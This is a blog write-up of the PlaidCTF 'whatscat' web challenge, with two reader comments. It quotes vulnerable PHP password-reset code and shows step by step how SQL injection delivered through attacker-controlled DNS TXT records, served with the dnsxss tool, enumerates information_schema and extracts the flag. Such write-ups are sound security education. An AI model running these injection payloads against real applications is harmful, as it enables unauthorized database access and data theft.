PlaidCTF writeup for Web-300 – whatscat (SQL Injection via DNS)

Hey folks,

This is my writeup for Whatscat, just about the easiest 300-point Web level I've ever solved! I wouldn't normally do a writeup about a level like this, but much like the mtpox level I actually wrote the exact tool for exploiting this, and even wrote a blog post about it almost exactly 4 years ago - April of 2010. Unlike mtpox, this tool isn't the least bit popular, but it sure made my life easy!

The set up

Whatscat is a php application where people can post photos of cats and comment on them (Here's a copy of the source).

The vulnerable code is in the password-reset code, in login.php, which looks like this:

  elseif (isset($_POST["reset"])) {
    $q = mysql_query(sprintf("select username,email,id from users where username='%s'",
      mysql_real_escape_string($_POST["name"])));
    $res = mysql_fetch_object($q);
    $pwnew = "cat".bin2hex(openssl_random_pseudo_bytes(8));
    if ($res) {
      echo sprintf("<p>Don't worry %s, we're emailing you a new password at %s</p>",
        $res->username,$res->email);
      echo sprintf("<p>If you are not %s, we'll tell them something fishy is going on!</p>",
        $res->username);
$message = <<<CAT
Hello. Either you or someone pretending to be you attempted to reset your password.
Anyway, we set your new password to $pwnew

If it wasn't you who changed your password, we have logged their IP information as follows:
CAT;
      $details = gethostbyaddr($_SERVER['REMOTE_ADDR']).
        print_r(dns_get_record(gethostbyaddr($_SERVER['REMOTE_ADDR'])),true);
      mail($res->email,"whatscat password reset",$message.$details,"From: whatscat@whatscat.cat\r\n");
      mysql_query(sprintf("update users set password='%s', resetinfo='%s' where username='%s'",
              $pwnew,$details,$res->username));
    }
    else {
      echo "Hmm we don't seem to have anyone signed up by that name";
    }

Specifically, these lines:

      $details = gethostbyaddr($_SERVER['REMOTE_ADDR']).
        print_r(dns_get_record(gethostbyaddr($_SERVER['REMOTE_ADDR'])),true);
      mail($res->email,"whatscat password reset",$message.$details,"From: whatscat@whatscat.cat\r\n");
      mysql_query(sprintf("update users set password='%s', resetinfo='%s' where username='%s'",
              $pwnew,$details,$res->username));

The $details variable is being inserted into the database unescaped. I've noted in the past that people trust DNS results just a bit too much, and this is a great example of that mistake! If we can inject SQL code into a DNS request, we're set!

...this is where I wasted a lot of time, because I didn't notice that the print_r() is actually part of the same statement as the line before it - I thought only the reverse DNS entry was being put into the database. As such, my friend Mak—who was working on this level first—tried to find a way to change the PTR record, and broke all kinds of SkullSpace infrastructure as a result.

I ended up trying to log in as 'admin'/'password', and, of course, failed. On a hunch, I hit 'forgot password' for admin. That sent me to a Mailinator-like service. I logged into the mailbox, and noticed somebody trying to sql inject using TXT records. This wasn't an actual admin—like I thought it was—it was another player who just gave me a huge hint (hooray for disposable mail services!). Good fortune!

Knowing that a TXT record would work, it actually came in handy that Mak controls the PTR records for all SkullSpace ip addresses. He could do something useful instead of breaking stuff! The server I use for blogs (/me waves) and such is on the SkullSpace network, so I got him to set the PTR record to test.skullseclabs.org. In fact, if you do a reverse lookup for '206.220.196.59' right now, you'll still see that:

$ host blog.skullsecurity.org
blog.skullsecurity.org is an alias for skullsecurity.org.
skullsecurity.org has address 206.220.196.59
$ host 206.220.196.59
59.196.220.206.in-addr.arpa domain name pointer test.skullseclabs.org.

I control the authoritative server for test.skullseclabs.org—that's why it exists—so I can make it say anything I want for any record. It's great fun! Though arguably overkill for this level, at least I didn't have to flip to my registrar's page every time I wanted to change a record; instead, I can do it quickly using a tool I wrote called dnsxss. Here's an example:

$ sudo ./dnsxss --payload="Hello yes this is test"
Listening for requests on 0.0.0.0:53
Will response to queries with: Hello/yes/this/is/test

$ dig -t txt test123.skullseclabs.org
[...]
;; ANSWER SECTION:
test123.skullseclabs.org. 1     IN      TXT     "Hello yes this is test.test123.skullseclabs.org"

All I had to do was find the right payload!

The exploit

I'm not a fan of working blind, so I made my own version of this service locally, and turned on SQL errors. Then I got to work constructing an exploit! It was an UPDATE statement, so I couldn't directly exploit this - I could only read indirectly by altering my email address (as you'll see). I also couldn't figure out how to properly terminate the sql string (neither '#' nor '-- ' nor ';' properly terminated due to brackets). In the end, my payload would:

  • Tack on an extra clause to the UPDATE that would set the 'email' field to another value
  • Read properly right to the end, which means ending the query with "resetinfo='", so the "resetinfo" field gets set to all the remaining crap

So, let's give this a shot!

./dnsxss --payload="test', email='test1234', resetinfo='"

Then I create an account, reset the password from my ip address, and refresh. The full query—dumped from my test server—looks like:

update users set password='catf7a252e008616c94', resetinfo='test.skullseclabs.orgArray ( [0] => Array ( [host] => test.skullseclabs.org [class] => IN [ttl] => 1 [type] => TXT [txt] => test', email='test1234', resetinfo='.test.skullseclabs.org [entries] => Array ( [0] => test', email='test1234', resetinfo=' ) ) ) ' where username='ron'

As you can see, that's quite a mess (note that the injected stuff appears twice.. super annoying). After that runs, the reset-password page looks like:

Don't worry ron, we're emailing you a new password at test1234

If you are not ron, we'll tell them something fishy is going on!

Sweet! I successfully changed my password!

But... what am I looking for?

MySQL has this super handy database called information_schema, which contains tables called 'SCHEMATA', 'TABLES', and 'COLUMNS', and it's usually available for anybody to inspect. Let's dump SCHEMATA.SCHEMA_NAME from everything:

./dnsxss --payload="test', email=(select group_concat(SCHEMA_NAME separator ', ') from information_schema.SCHEMATA), resetinfo='"

Then refresh a couple times to find:

Don't worry ron, we're emailing you a new password at information_schema, mysql, performance_schema, whatscat

If you are not ron, we'll tell them something fishy is going on!

Great! Three of those are built-in databases, but 'whatscat' looks interesting. Now let's get table names from whatscat:

./dnsxss --payload="test', email=(select group_concat(TABLE_NAME separator ', ') from information_schema.TABLES where TABLE_SCHEMA='whatscat'), resetinfo='"

Leads to:

Don't worry ron, we're emailing you a new password at comments, flag, pictures, users

If you are not ron, we'll tell them something fishy is going on!

flag! Sweet! That's a pretty awesome looking table! Now we're one simple step away... what columns does 'flag' contain?

./dnsxss --payload="test', email=(select group_concat(COLUMN_NAME separator ', ') from information_schema.COLUMNS where TABLE_NAME='flag'), resetinfo='"

Leads to:

Don't worry ron, we're emailing you a new password at flag

If you are not ron, we'll tell them something fishy is going on!

All right, we know the flag is in whatscat.flag.flag, so we write one final query:

./dnsxss --payload="test', email=(select group_concat(flag separator ', ') from whatscat.flag), resetinfo='"

Which gives us:

Don't worry ron, we're emailing you a new password at 20billion_d0llar_1d3a

If you are not ron, we'll tell them something fishy is going on!

And now we dance.

Conclusion

If you're interested in DNS attacks—this scenario and a whole bunch of others—come see my talk at BSidesQuebec this June!!!

2 thoughts on “PlaidCTF writeup for Web-300 – whatscat (SQL Injection via DNS)

  1. Reply

    Mathias Bynens

    Excellent write-up, as usual :)

    Note that there was another way to solve this challenge that didn’t require messing with DNS: using $res->username for blind SQL injection.

    1. Reply

      Ron Bowes Post author

      @Mathias - sweet! I missed that!

Leave a Reply

Your email address will not be published.